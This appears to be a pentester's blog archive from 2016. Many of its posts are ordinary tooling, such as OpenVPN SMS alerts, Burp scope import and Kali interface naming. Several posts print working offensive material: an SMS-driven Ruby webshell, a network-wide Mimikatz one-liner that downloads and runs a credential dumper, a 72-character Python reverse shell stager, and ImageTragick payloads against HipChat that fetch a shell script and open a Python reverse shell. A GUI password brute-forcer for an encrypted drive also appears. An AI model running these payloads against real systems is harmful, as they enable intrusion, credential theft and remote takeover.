Thursday, November 3, 2016

OpenVPN Client Disconnect Notification

So I was configuring a pentest dropbox and hated the fact that you couldn't know if the dropbox connected unless you checked the VPN endpoint. I thought there must be a more automated/better way. Well, it turns out there is.

OpenVPN is fantastic and provides two very handy options: client-connect and client-disconnect. Cut from the OpenVPN manpage:

--client-connect script
Run script on client connection. The script is passed the common name and IP address of the just-authenticated client as environmental variables (see environmental variable section below).
Note that the return value of script is significant. If script returns a non-zero error status, it will cause the client to be disconnected.
--client-disconnect
Like --client-connect but called on client instance shutdown. Will not be called unless the --client-connect script and plugins (if defined) were previously called on this instance with successful (0) status returns.

So we can run arbitrary scripts whenever a client connects or disconnects. Using Twilio, I can get an SMS text message notifying me that a client called back to the server properly or when a client connection drops (for whatever reason).

This allows me to quickly deploy a dropbox and know if it was a good network spot or not before I even leave the building (and no pulling out laptops either!) It also lets me know if it got unplugged or lost connectivity and exactly when (e.g if it gets discovered).

No Twilio?

Don't have a Twilio account yet? get one. They are fun to experiment with and cost practically nothing. It also allows you to do stupid things like get a webshell over SMS


Steps:


  1. Configure OpenVPN server to allow user-created scripts to run
  2. Drop the python SMS scripts in /etc/openvpn/
  3. Test/verify the connection

Configure OpenVPN:

Luckily, this is as simple as adding a couple lines to the bottom of the config and restarting the service. Add the following lines to your /etc/openvpn/openvpn.conf:

script-security 2
client-connect /etc/openvpn/client-connect.py
client-disconnect /etc/openvpn/client-disconnect.py

and then do a "service openvpn restart" to reload the config


Drop Python SMS scripts:

With those above config lines, OpenVPN will simply execute whatever those scripts contain whenever a client connects/disconnects. It's extremely important that your connect script has no errors in it. Errors will cause the script to return a non-zero return status and OpenVPN will instantly drop the client connection. The following two scripts are simply pasted into the /etc/openvpn/ directory:

client-disconnect.py
#!/usr/bin/env python
from twilio.rest import TwilioRestClient
import argparse, time, os

#when openvpn calls a script, they populate the shell environment with a variety of details
#about the connection. You can call a script that does "env > /tmp/blah" and then cat it so
#see
clientname = os.environ['common_name']
clientip = os.environ['ifconfig_pool_remote_ip']
timestamp = time.strftime("%x - %X")


def send_sms(message):
  ACCOUNT_SID = "ENTER YOUR OWN TWILIO ACCOUNT_SID"
  AUTH_TOKEN = "ENTER YOUR OWN TWILIO AUTH_TOKEN"
  client = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN)
  client.messages.create(
      to="+1234567890",
      from_="+1234567891",
      body=message
  )

if __name__ == '__main__':
  send_sms("[-]DISCONNECTED - %s from %s at %s" % (clientname, clientip, timestamp))

client-connect.py
#!/usr/bin/env python
from twilio.rest import TwilioRestClient
import argparse, time, os

#when openvpn calls a script, they populate the shell environment with a variety of details
#about the connection. You can call a script that does "env > /tmp/blah" and then cat it so
#see
clientname = os.environ['common_name']
clientip = os.environ['ifconfig_pool_remote_ip']
timestamp = time.strftime("%x - %X")


def send_sms(message):
  ACCOUNT_SID = "ENTER YOUR OWN TWILIO ACCOUNT_SID"
  AUTH_TOKEN = "ENTER YOUR OWN TWILIO AUTH_TOKEN"
  client = TwilioRestClient(ACCOUNT_SID, AUTH_TOKEN)
  client.messages.create(
      to="+1234567890",
      from_="+1234567891",
      body=message
  )

if __name__ == '__main__':
  send_sms("[+]CONNECTED - %s as %s at %s" % (clientname, clientip, timestamp))

You should obviously change the ACCOUNT_SID, AUTH_TOKEN, to=, and from_= details to your own information.


Test the connection:

You configured the service, restarted the service to take in the new config details, and pasted in the proper scripts. Now is the time to make sure it works. You can either simply connect a client to the VPN and see if it works, or test the scripts manually. The process for manual testing is to enter the following:

cd /etc/openvpn
bash
export common_name=asdf
export ifconfig_pool_remote_ip=qwer
./client-connect.py


Bam, that should do it. Now disconnect the client and you should get the disconnect text as expected.

Caveat:
     The disconnect script only works when the OpenVPN server detects a disconnect. Which if you are using OpenVPN over UDP, it will wait for the timeout. If possible, run OpenVPN over TCP where if there is a disconnect, a TCP reset will be set and the disconnect script will trigger almost instantly.

TLDR: You get SMS text messages when your dropbox (or really anything) connects/disconnects from your VPN. Really useful for physical pentests.

Thursday, October 13, 2016

Consolidate Single IPs Into Ranges

Sometimes you'll have a file of one IP per line and it contains large swaths of continuous IP space. Listing out each IP of a /24 is unnecessary many times and looks way better if you shrink/consolidate them into networks.
I wrote the following python script to do just that.

#!/usr/bin/env python3
#takes in a file of one-per-line IPs and consolidates them into ranges
#@atucom

import ipaddress
import argparse
import sys

result = []
def consolidate(ipobj):
  result.append(ipobj)
  for ipstr in iparry:
    ipobj2 = ipaddress.ip_address(ipstr)
    if ipobj + 1 == ipobj2:
      result.append(ipobj2)
      iparry.remove(ipstr)
      consolidate(ipobj2)


if __name__ == '__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument("FILE" ,help='The input file of one-per-line IPs to consolidate')
  args = parser.parse_args()
  if args.FILE:
    with open(args.FILE, 'r') as f:
      iparry = f.read().splitlines()
    for ipstr in iparry:
      consolidate(ipaddress.ip_address(ipstr))
      if ipaddress.ip_address(ipstr) == result[-1]:
        print(result[-1])
      else:
        print("%s - %s" % (ipaddress.ip_address(ipstr), result[-1]))
  else:
    exit(1)

It takes in a list of unique one-per-line IPs and outputs "-" notation of ranges

That "ips2.txt" file simply contains the following:
192.168.1.0
192.168.1.1
192.168.1.11
192.168.1.13
192.168.1.14
192.168.1.15
192.168.1.16
192.168.1.17
192.168.1.19
192.168.1.2
192.168.1.21
192.168.1.23
192.168.1.24
192.168.1.25
192.168.1.26
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.7
192.168.1.9

Wednesday, September 14, 2016

Better PHP Serialized Regex

Below is the regex I came up with to find instances of PHP serialized strings in other input. I made the regex a little loose to not miss any of them popping up. I tested this and it works perfectly.

(i|s|a|o|d):\d+:(.*);?


Tuesday, August 9, 2016

Automatic GUI Password Dictionary Attack Using PyAutoGui

I had a Samsung Portable SSD that has hardware encryption. You need a separate driver app to recognize it being inserted into USB and then it automatically starts up the password prompt for you to login.

After some researching and prodding, there didn't seem to be any way to login over the command line so I was restricted to typing the text at the password prompt. boooooo. I couldn't even copy and paste into the window so I had to manually type every character. I decided to look into GUI automation to see if I could create a script that would automatically click and type for me. I found PyAutoGUI from google and automate the boring stuff and decided to implement it. The script is actually extremely simple:

#!/usr/local/bin/python3
import time
import pyautogui
import os

list =  ['password1','password2','password3','...']
count = 0
time.sleep(5) #give you time to click inside the app
samsung_drive_cmd = "/Users/USERNAMEHERE/Library/Application\ Support/PortableSSD/Samsung\ Portable\ SSD.app/Contents/MacOS/Samsung\ Portable\ SSD &"

for pwd in list:
  if count >= 6 * 2:
    os.system("killall 'Samsung Portable SSD'")
    os.system(samsung_drive_cmd)
    count = 0
    time.sleep(4)
  print("Trying %s" % pwd)
  pyautogui.moveTo(640, 405) #move to text box to enter password
  pyautogui.typewrite(pwd, interval=0.1) #enter password with .1s wait in between chars
  pyautogui.moveTo(670, 539) #move to "login" and click
  pyautogui.click() 
  count += 2 #every password attempt seems to add 2 seconds internally as a wait counter
  time.sleep(count)

The if statement inside the for loop kills the app and restarts (at 6 password tries) it so it resets the internal counter of the application. There is no reason to wait 20 seconds to enter the next password when you can just kill the app and start again with a fresh timer in 4 seconds.

In action:


Generate your password list using JTR, format into a list and let it run overnight. You cant really use your computer while this is running.

UPDATE:
I changed up my code a little bit to be more reliable, read the password from a file, detect when the password is correct and die at that time. Here is the updated and better code:

#!/usr/local/bin/python3
import time
import pyautogui
import os
import subprocess

wordlist = open('wordlist.txt','r')
list = wordlist.read().splitlines()

count = 0
time.sleep(5) #give you time to click inside the app
samsung_drive_cmd = "/Users/USERNAMEHERE/Library/Application\ Support/PortableSSD/Samsung\ Portable\ SSD.app/Contents/MacOS/Samsung\ Portable\ SSD &"

for pwd in list:
  if count >= 6 * 2:
    os.system("killall 'Samsung Portable SSD'")
    os.system(samsung_drive_cmd)
    count = 0
    time.sleep(4)
  mountlist = subprocess.check_output(["mount"])
  if "Samsung_T1" in mountlist:
    print 'THE DRIVE IS MOUNTED'
    exit()
  print("Trying %s" % pwd)
  pyautogui.moveTo(640, 405) #move to text box to enter password
  pyautogui.typewrite(pwd, interval=0.1) #enter password with .1s wait in between chars
  pyautogui.moveTo(670, 539) #move to "login" and click
  pyautogui.click() 
  count += 2 #every password attempt seems to add 2 seconds internally as a wait counter
  time.sleep(count)

Thursday, July 28, 2016

How to import "raw" IPs into Burp

If you need to test a list of IPs and *any* domains that may be on those IPs, burp doesn't exactly make it easy to enter in a large number of IPs. If you try to use the "load" button with a file of just one IP per line, it will import it, but it will also do something extremely annoying:

Those regexes? They mess up everything. Before if you entered 1.2.3.4, ANY domain name that resolved to that would show up in the filtered sitemap, now only instances of "1.2.3.4" show up, and if you visit the domains, they no longer appear, because they don't match the regex.

I finally figured out how to upload a "raw" list of IPs into the scope listing unmodified. Burp has a feature on a tiny button that allows you to "load options", which is really just a json formatted file with a bunch of different Burp settings:
So I decided to take a look at the format, and holy crap, "raw" IPs are actually recognized properly in this settings file. So I wrote a quick python script to create a proper settings file from a supplied list of IPs:


#!/usr/bin/env python
#@atucom
#this script takes in a one-per-line file of IPs and adds it to Burp without any stupid regexes
#  This mimics the same thing as hitting the "add" button in the Scope tab
#  to load the resultant file, you need to go to the Scope tab, hit the little gear button in the 
#  top left and click "load settings", choose the jsonout.txt file and rejoice.
import sys
import json
basejson = """
{
    "target":{
        "scope":{
            "exclude":[
                {
                    "enabled":true,
                    "file":"logout",
                    "protocol":"any"
                },
                {
                    "enabled":true,
                    "file":"logoff",
                    "protocol":"any"
                },
                {
                    "enabled":true,
                    "file":"exit",
                    "protocol":"any"
                },
                {
                    "enabled":true,
                    "file":"signout",
                    "protocol":"any"
                }
            ],
            "include":[
            ]
        }
    }
}
"""
ipfile = open(sys.argv[1]) #open file of IPs (one per line)
iplist = ipfile.readlines()
dictjson = json.loads(basejson) #load base json data structure
for ip in iplist:
  newip = {"enabled":True, "host":ip.strip(), "protocol":"any"}
  dictjson['target']['scope']['include'].append(newip) #appends new IP entry to python dict

jsonout = open("jsonout.txt", "w")
jsonout.write(json.dumps(dictjson))
print("wrote to jsonout.txt")

To use it, run the script and supply the file with you one-per-line IP list. It will dump out a "jsonout.txt" file. In Burp, go to Target > Scope > Gear Button > Load Options > select jsonout.txt > Open

That should be it, your IPs should now show up in the "include in scope" box like below:


I also saved it to my gist for posterity: https://gist.github.com/atucom/b083d1f3b12606aaf4076a689d200939

I always assumed there had to be a supported way of doing this but after asking several people, nobody could find a way. This seems to be the only way that works for what I need done. Now, I just need to write up a Burp extension for it...

UPDATE:
Thanks to the help of a friend of mine with the Burp plugin code, I've been able to create a burp plugin that accomplishes this task:
https://gist.github.com/atucom/eabf35f344f46ffbd2f8d25b018f88c9

Friday, July 22, 2016

My "secrets" to scripting more and feeling like I type less

Motivational Disclaimer: 
I'm not a programmer. I don't fully understand all the nitty gritty computer science concepts of different programming paradigms, or "patterns", or "best-practices". Everything I know is self taught. Everything I know I've learned through trial and error, googling, or some simple online tutorials. I'm sure if a programmer looked at what I produce they could find a thousand different things to do better or faster. To a certain degree, I care about that. I care about producing what others consider to be "good" code. I also know my limitations. "Learning" to code (or scripting, but I'll just say coding) is not something to do, and THEN start do it very well. Coding is ugly. Your baby, the thing you will be proud of, WILL be ugly. But fuck that, honestly, because you actually HAVE something. That's more than a large percentage of the population can claim.
PS. I word-battle sailors. Take care if you have "delicate sensibilities"
----------

So I'm not a programmer in the least sense. I have, however, recognized that I do try to write a lot of code. My code revolves around efficiency. I wish to reduce how much typing I do. If I can do that by typing a little more now, so I can save it later, than that's an awesome reason to write a script.

We all have an inferiority complex to some degree, and for the longest time I thought nothing I produced was worthy of another's eyes. But I realized something, people kept asking for my scripts. People kept using my dotfiles (mostly for the scripts). People kept making use of the things I was creating. That feeling is actually rather addicting. People now look at me and have said things like "wow, I wish I could script". Well I'm here to share with you some things I've learned throughout my journey, things I haven't seen anyone else suggest for newbies. This is intended for fairly technical people who understand basic things like what a variable or function is but just haven't made the plunge to actually get more into it (people who stop at hello world). This is not for people looking to get into programming/development as a job. This is for people who have peers that script and feel that its "something they should get better at" (e.g. lots of infosec people). So bite the pillow, this is going to be a wall of text.

1. Learn to recognize WHEN to write a script
     This is probably the most important skill to first get. You need to set what I call a "mental breakpoint" when you encounter certain thoughts or emotions. You need to catch yourself right when you think "God I wish I could do this faster" or "Ugh, I keep typing the same shit over and over again". Train yourself to break out of that moment and trigger a whole new line of thought of "Wait a second, how COULD I make this faster?" or "Could I create something to actually reduce how many times I do this?"

2. Understand how to convert the problem into a program
     I watched a free programming video recording from Stanford (the ones you get for free on iTunes) and while most of it was rather boring and my ADHD took over, there was one statement the teacher made that has stuck with me and I remember every time I start to write a script. "All programs do the exact same thing, they take input, they do something with it, and they produce output" - now that is an incredibly generic and abstract thought, yes, but it frames your goal in a particular way which (to me, at least) was ground breaking. I now ask myself these questions every time:

  1.  What will be the input to my program? will it be text from some other command? will it be text I scraped from a website somewhere? Will it be some arbitrary file? will it be XML? will it be an image? What will the INPUT be?
  2. What will I do to this input? What's the body of the script? Really, what is the point of what I'm doing? Is it to analyze that text input for repeating patterns? is it to constantly check that website for changes and updates to it's content? is it to encrypt a file in some way? is it to add a watermark to an image? What is the "goal" you are trying to accomplish?
  3. What will this produce? what is the end result? Will it "produce" something like a file? or will it update a SQL record somewhere? Will it send you a text message when it notices a change on that website? or will it trigger a whole other script all together? What is the thing you want to walk away with?

     These questions can take all of 4 seconds to answer in simple cases, and weeks in the complex ones. Sometimes the answers to these questions will be obvious in certain cases and you don't even really need to think about it, but mostly, I like to keep that framework of "INPUT, DO, OUTPUT" in my head mostly all the time.

3. Is writing this script worth it?
     In my moments of wonder I like to think that computers are capable of anything, that they can solve the world's problems and make our lives infinitely better in all the ways that matter. Unfortunately the skill of a computer is at least limited by the skill of the programmer.
     Many times I'll come across a problem I swear I can easily solve by scripting, but as time goes on I find that the actual problem I'm trying to solve is way out of my ability as a programmer. It would be impossible for me to tell you what you can and cant do, I can say however, that the more you code and the more efficient you get at it, the smaller that list of "cant's" gets. Ideally it would shrink to where you become a greybeard wizard or something but thats just the magical fairy land I keep my head in.
     The instances in which I had a problem to solve, but couldn't find the solution I simply file it away in it's own project directory as something to look at again in the future. Many time I'll come across a new tool/module/gem/whatever that does the thing that my script needed to begin with. Sometimes, someone else solves the problem that I had, but I try to not rely on that "oh maybe in the future" line of thinking.

4. You can't do this alone
     Think about it for a second, you are starting out in a hobby/profession where there are millions of experts. If you ever sit down in front of a terminal and think "shit, I don't know how to get these two servers to talk" or "shit, I don't know how to search an array for a string" and start to feel discouraged that you're dumb and you don't know how to do "simple" things, stop. If that happens to you, you cant stop that internal reaction, but you can instantly distract yourself by actually GOOGLING your problem.
     You will need to read the docs. Like, a lot of docs. You will Google A LOT. You will read MANY stack overflow posts. You will read many man pages. You will google your google results. You will read both awesome and shitty blog articles. There will be a lot of "copy and paste that stack overflow post and change it to fit your needs". This is normal. This is OK. You are not awful because of this. You may be awful for other completely unrelated reasons, but not for this.
     Github is your friend. Read other people's code. Steal their code if it works. Just don't claim that you made that stolen code yourself, that's a dick move. There are enough self-entitled dicks who want to drama-llama everything so they get attention. Don't be a dick. Break the cycle, Morty, rise above, focus on science.
     Ideally, you'd have a friend or coworker who is willing to provide advice, or at least valuable links to websites that provide valuable advice. If you have that kind of friend than I VERY STRONGLY suggest you do the following:

  1. Roughly understand the problem you are trying to solve
  2. Do some basic work on trying to find a way to solve it
  3. Ask specific questions, but give context. Don't ask them "how can you delete every third entry in an array" ask instead "How can you delete every third entry in an array? Apparently garbage data keeps coming into every third entry that I store into an array". They may respond with "like this" or they may go on to tell you how it's a good idea to deal with the garbage data on input before the array and maybe log it properly in case you have problems later.
  4. Show your friend that you respect their time by illustrating that you've done some research beforehand. It's incredibly aggravating to get asked a question that the first google result answers.


5. Stop practicing and start doing
If I see another "hello world" script I'm going to punch a baby. Stop copying stupid scripts that don't actually DO anything. You know what a variable is, you know what a function is. Going through the 4th online tutorial that teaches you how to write yet another 1+1 python function isn't helping you. It's the equivalent of tracing an image on paper so you can FEEL like you are an artist. You already know the absolute basics (if you don't, then those tutorials are helpful). Identify a problem you have (using step 1) and start solving it (by using steps 2 & 4).
     It's going to suck. Your code is going to suck. You will be embarrassed of your ugly child.  But, if your child functions, then keep it. Improve on it if you have the time and energy or save the improvements for a later date.
     I recommend jumping into the "hard stuff" even if you're still at the "easy stuff", you will learn A LOT faster that way.

6. OK, actually you need to practice too
     I "practice" code all the time, often times before I actually do anything and sometimes just for fun. What I mean by that is I usually start up a Ruby or Python interpreter and start pasting in some code, changing random sections of code or variables, googling errors that result, trying out other's code from Github or StackOverflow.
     A perfect example is that I thought to myself a couple years ago "I read about XMLRPC, I wonder how I can actually make it do something in Ruby" so I found a free XMLRPC endpoint for testing on the Internet, fired up my Ruby interpreter and just starting pasting code I saw listed in the basic documentation. I saw how it made a connection, the syntax it expected, how to issue the XMLRPC method calls, how to play with the results and so on and so forth. I wiped my screen, and tried to do all that again from scratch with no pasting. I had no use for it, it was just for fun. One year later I needed to get a value from an XMLRPC endpoint and I thought to myself "Hey, I played with XMLRPC on Ruby a while ago, I'm pretty sure I can get this up and working".
     Bam, because of that "for fun" practice I did, I was much faster and more efficient at accomplishing that goal at the moment I needed it. I try to find ways to play with code for fun as often as I can.

7. Perfect does not exist
Nothing is perfect, your code definitely won't be. An old manager told me it takes 90% of the total time to accomplish the last 1% if you aim for perfection. I now aim for "get it working and mostly reliable". I don't create scripts that require 100% reliability, or that someone paid millions of dollars for. I write scripts mostly for myself, to save myself time. My "extra" aim is to write the same script so that my friends/coworkers can use it easily, that is, if I think they will benefit from it in the first place.
     I can say however, that as I have aimed for writing more well-documented and more reliable scripts, it has become easier to do so by default. This practice of aiming for your peers (once you can write for yourself) creates a habit of accounting for things you may not have thought of (bad input, not enough comments, bad parameter descriptions, overall ease of use, etc), which overall results in "better" scripts as I go on.

8. Don't stop
     You WILL forget the language if you don't keep it up. I'd say at the absolute least you should be reading code once a week and writing something once a month. That's absolute minimum. Please don't aim for the minimum, mediocrity doesn't look good on you.

9. You're a wizard, Harry
     Coding (IMO) is the closest humans can get to magic. This shit feels like magic most of the time. You just created a python script that can track peoples movements from a video feed? Holy shit are you a wizard? In order to feel like a wizard, you have to feel like your doing magic. Don't lose the wonder and amazement in training your abilities. You know that everything you can do isn't magic, you know how to perform edge detection and draw a certain pixel size box that colored red around that thing, and you know what functions to use to detect it's movement, but don't lose the feeling.
     We are motivated by desires and emotions. Train yourself to hold on those, to remember those, to remember why they got triggered in the first place. Often I have to remind myself to sit back at the end of something and think "yeah, I just did that, and it was awesome for me...I wonder what I could do next"
     So you may be year 1 Harry Potter, but you got a lot of learning and awesomeness ahead of you. Go be a fucking wizard.

So seriously, ingrain step 1 in your head, and go from there.

Wednesday, July 20, 2016

How to have a webshell over SMS

I consider this more of a "stupid trick" than actually being terribly useful. I recently thought to myself "How awesome would it be if I could text a phone number to run some commands" and I immediately answered that question with "super freakin' awesome".

You need the following:
  1. A number set up at Twilio - This is what is used to actually communicate over SMS
  2. A VPS - You need this to host a server application to accept the text string from Twilio servers. This will also be where the commands are actually run.
  3. Ruby with twilio-ruby and sinatra gems installed
Purchase a phone number in Twilio and have the "webhook" line in the SMS section point to your VPS URL, for example: http://myvpshere:8080/smscli or whatever you choose. Once you set that up, whatever SMS messages get sent to the phone number you purchased in Twilio will be sent as an HTTP Post request to the URL you specify. 

Now all you need is a server listening at that URL on your VPS to accept the HTTP Post requests from the Twilio servers and do something with the body of the request. In this case, we pass whatever text as a system command and reply to the phone number with the result of the command. The following example Ruby code starts up a sinatra web server to do all that:


require 'twilio-ruby'
require 'sinatra'

set :port, 8080
set :bind, '0.0.0.0'

post '/smscli' do
  puts "Message: #{params['Body']}!"

  result = `#{params['Body']}`

  twiml = Twilio::TwiML::Response.new do |r|
    r.Message result
  end
  twiml.text
end

Overall, this really isn't that different from any other webshell. The only real difference is you are leveraging Twilio to handle SMS communications.

Now you get to do something stupid like this:

PS.
     I shouldn't have to mention that taking in arbitrary text from untrusted sources and running them as commands under root is pretty much the worst thing you could do security wise. This is merely an example of how to get the pure task done. Implement some auth or something, I don't care... It's your funeral...

Wednesday, June 29, 2016

Mimikatz All The Things

A while back I was onsite doing another easy-mode pentest that had local admin shared EVERYWHERE (come on guys) when the client walked in and bet me lunch that I couldn't get his password in the next 45 minutes. I don't know if he was doing it as a joke being as how he already knew I had local admin, or if he was genuinely in need of an illustration at just how quickly things can go bad. Either way, I had his permission to watch the world burn.

It was primarily a Windows network, with Server 2008 and Windows 7/8 for most the workstations. I tested the workstation in the conference room to determine they had Powershell, and knew I was in business.

PowerSploit includes a Powershell port of mimikatz which can pull cleartext wdigest creds stored in LSASS. There is a ton of literature as to how mimikatz does its magic online if you want to know more. Normally, I would conduct this kind of testing in a low and slow method, trying to evade detection but what the hell.

To start, I setup a web listener in the PowerSploit/Exfiltration directory:
cd ~/Tools/PowerSploit/Exfiltration; ruby -run -e httpd . -p 8080

I then threw the following one-liner together while the client counted down the minutes as they passed, let it smash against his entire network, and LOLed ~15 minutes later when I explained adequate password selection to his bewildered face.
sort -R targets.txt | parallel -P10 --timeout 60 --tag -q winexe --system --uninstall -U 'DOMAIN/USERNAME%PASSWORD' //{} "powershell \"IEX (New-Object Net.WebClient).DownloadString('http://<MY_IP>:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds\"" 2>; parallel.error | tee -a mimikatz_all_the_things.txt

So what is it doing? Let's break it down.

sort -R targets | #randomize the targets and pass them in
parallel -P10     #kick off parallel with 10 jobslots
--timeout 60      #kill each job if it exceeds 60 seconds
--tag             #tag each line of output, not really necessary but why not
-q winexe         #quote the following command and args
--system          #run winexe service as NT AUTH\SYSTEM
--uninstall       #uninstall the service when finished
-U 'CREDS'        #pass the login creds to winexe
//{}              #the magic; where parallel will substitute in the input 

Following that is a long block of Powershell, but it is fairly straightforward:
"powershell \"IEX (New-Object Net.WebClient).DownloadString('http://<MY_IP>:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds\""

The Powershell Invoke-Expression cmdlet downloads the Invoke-Mimikatz.ps1 Powershell script from our web listener, then passes the 'Invoke-Mimikatz -DumpCreds' argument to it.

Lastly, the we pass errors to a file we call 'parallel.error', or output is ran though tee to display on screen and also append the 'mimikatz_all_the_things.txt' file:
2>; parallel.error | tee -a mimikatz_all_the_things.txt

It's pretty easy to grep out the user I was looking for, but just to help illustrate I ran the output though a parsing script that I found somewhere online(sorry for lack of attribution random Internet saint):
cat mimikatz_all_the_things.txt|tr -d '\011\015' |awk '/Username/ { user=$0; getline; domain=$0; getline; print user " " domain " " $0}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length($12)>2) print $8 "\\" $4 ":" $12}'|sort -u

Which parses through the whole mimikatz output and outputs a super disturbingly beautiful listing of users and cleartext creds:
CLIENTS_DOMAIN\user01:password01
CLIENTS_DOMAIN\user02:password02
CLIENTS_DOMAIN\user03:password03
CLIENTS_DOMAIN\user04:password04
CLIENTS_DOMAIN\user05:password05
.
.

Bingo bango. Free lunch. Pretty tasty pizza I might add. Thanks for motivating me, Mr. Client.

Wednesday, June 15, 2016

The Smallest Python Reverse Shell

I've done quite a bit of searching and I'm fairly sure I've created the smallest Python reverse shell (not including simply using bash) of 77 characters. 100 characters is the smallest that I've ever seen on the web. If someone finds or comes up with something smaller, I'd love to see how you did it.

import socket as a
s=a.socket()
s.connect(("localhost",24))
exec(s.recv(999))

This could more accurately be considered a stager than an actual bind shell. What this does is open a socket connection to (in this case) localhost on port 24. It then receives input from the server and executes it internally as python code. This still requires you to send it the actual Python code to start the shell, which I just paste into my netcat listener once it connects.

The recv/exec combo seems to do weird things with new lines so I just paste in the entire thing as one line:

import pty,os;os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");s.close()

So once the python script connects, paste that one liner into the netcat session and hit ctrl+d (so as to not append a \n) and then bam, a shell shows up.

Let's see the golfers play at it :D

EDIT: I golfed it. You can make the connect line shorter by replacing "localhost" with "127.1" which is equivalent but less characters. This would bring the total number of characters from 77 to 72.

Tuesday, May 17, 2016

Exploiting HipChat with ImageTragick

Hipchat uses the Imagemagick library to resize your custom emoticons. If you have access to upload your own emoticon image files to the server using the web interface (or API probably), you can use the Imagetragick vulnerability to get shell on the machine.

It turns out the ImageTragick's PoC didn't work on our server:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context

After quite a bit of mangling and testing, the following file contents, renamed to a .gif (HipChat doesn't accept .mvg files), will work:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";curl testserver:8000/test4")'
pop graphic-context

I could see the request for "test4" in my testserver's logs. woot. This means we have remote command execution on the server. Now all we have to do is get shell.

Now since I didn't have time to figure out how to make it a leet one-liner, I decided to break shell access into two requests. The first pulls the shell script to /tmp/ and the second executes the file.

The reverse shell I used was:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
I simply pasted that into a .sh on my testserver so the victim HipChat server could pull it down

I listened on my remote box with a basic ncat listener:
ncat -l -v 1234

Then I created the two separate exploit .gif files. The first .gif runs curl to download the python shell:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";curl testserver:8000/python_shell.sh -o /tmp/python_shell.sh")'
pop graphic-context

The second .gif executes the python shell:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";bash /tmp/python_shell.sh")'
pop graphic-context

(now that I think about it, you might be able to combine both files into one to only have to upload once, but I haven't tested that)

Once you upload that second gif, about a second or two later, you should see your shell come through on your ncat 1234 port:
$ uname -a
Linux hipchat.blah.com 3.4.0-54-generic #81~precise1-Ubuntu SMP Tue Jul 15 04:02:22 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

So ImageTragick is kind of a big deal in that it's stupid easy to exploit (at least in this case) and it's a fairly reliable command injection vuln.

Thursday, May 12, 2016

Using Parallel Instead of For Loops

For loops are an addiction of mine, I use them all day every day. Any time you have a tool that does one thing well but doesn't support multiple inputs or inputs from a file, I use a bash for loop. Unfortunately for loops work sequentially, one after the other. Once process runs, finishes, exits, and the next process starts, finishes, exits and so on.

Many times I've come across a tool or process that just hangs, and as a result hangs all the later processes as well. In situations where I think that is likely to happen, I'll use parallel.

Ok, so lets make a for loop that resolves the MX records of google.com

for i in $(host google.com | grep 'mail is' | cut -d ' ' -f7); do printf $i:; host $i | grep 'has address' | cut -d ' ' -f4; done
alt1.aspmx.l.google.com.:74.125.192.27
alt2.aspmx.l.google.com.:74.125.141.27
aspmx.l.google.com.:209.85.147.26
alt4.aspmx.l.google.com.:209.85.203.26
alt3.aspmx.l.google.com.:64.233.190.27

Great, nothing fancy there. Now lets say for some reason one iteration of that for loop is hanging and lets pretend we are using a tool (not "host") that has ridiculous timeouts (e.g. nikto on default), wouldn't it be great to run several all at the same time in groups and as one finishes it's spot in the group the next iteration populates it's place? yeah, thats what parallel does. Let's change that for loop to use parallel instead:

host google.com | grep 'mail is' | cut -d ' ' -f7 | parallel -j 5 -I{} -r "printf {}:; host {} | grep 'has address' | cut -d ' ' -f4"
alt2.aspmx.l.google.com.:209.85.202.27
alt3.aspmx.l.google.com.:108.177.15.27
aspmx.l.google.com.:209.85.201.27
alt4.aspmx.l.google.com.:74.125.136.27
alt1.aspmx.l.google.com.:173.194.68.27

This shows you how to send piped bash commands to parallel, instead of just single processes. In this way, it functions very similarly to the classic "while read line" looping structure.

BONUS:
The same command using xargs (very similar, works on OSX & nix):
host google.com | grep 'mail is' | cut -d ' ' -f7 | xargs -I {} sh -c "printf {}:; host {} | grep 'has address' | cut -d ' ' -f4"
aspmx.l.google.com.:209.85.232.27
alt3.aspmx.l.google.com.:64.233.167.27
alt2.aspmx.l.google.com.:74.125.24.27
alt1.aspmx.l.google.com.:64.233.186.27
alt4.aspmx.l.google.com.:74.125.136.26

Thursday, April 21, 2016

Configure Static Wifi Card Interface Names in Kali

I've always hated having to correlate the mac address of wlanX with whats printed on the sticker of the device (if it is at all) to find out which adapter is which in kali. Turns out you can can create static entries that tie to the MAC address of the adapter. Below are the steps:

  1. Plug in your device, make sure it shows up in kali with ifconfig/iwconfig (probably as wlan1...)
  2. Note the MAC address of the alfa card (or w/e card you have)
  3. open /etc/udev/rules.d/70-persistent-net.rules and look for the entry corresponding to the MAC you noted. It should look something like this:
    • # USB device 0x:0x (rt2800usb)
    • SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:c0:ca:87:5b:27", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="wlan*", NAME="wlan1"
  4. change "wlan1" to "alfa1" or whatever naming scheme you want, save the file
  5. unplug, replug
  6. dmesg should say:
    • [ 1341.218253] systemd-udevd[2381]: renamed network interface wlan0 to alfa1
  7. repeat with your next wifi adapter
That's it. You're basically just editing it's udev entry to have a different name. This persisted past several reboots and recognizes multiple different cards plugged in at once. You can use these new names exactly the same way as the old ones:

# iwconfig alfa1
alfa1     IEEE 802.11abgn  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

I took a label maker I had laying around and printed out "alfa1, alfa2, tpl1, etc" and stuck them to the adapters themselves. Now I can find which adapter I need just by glancing at the spaghetti mess of wires and adapters.
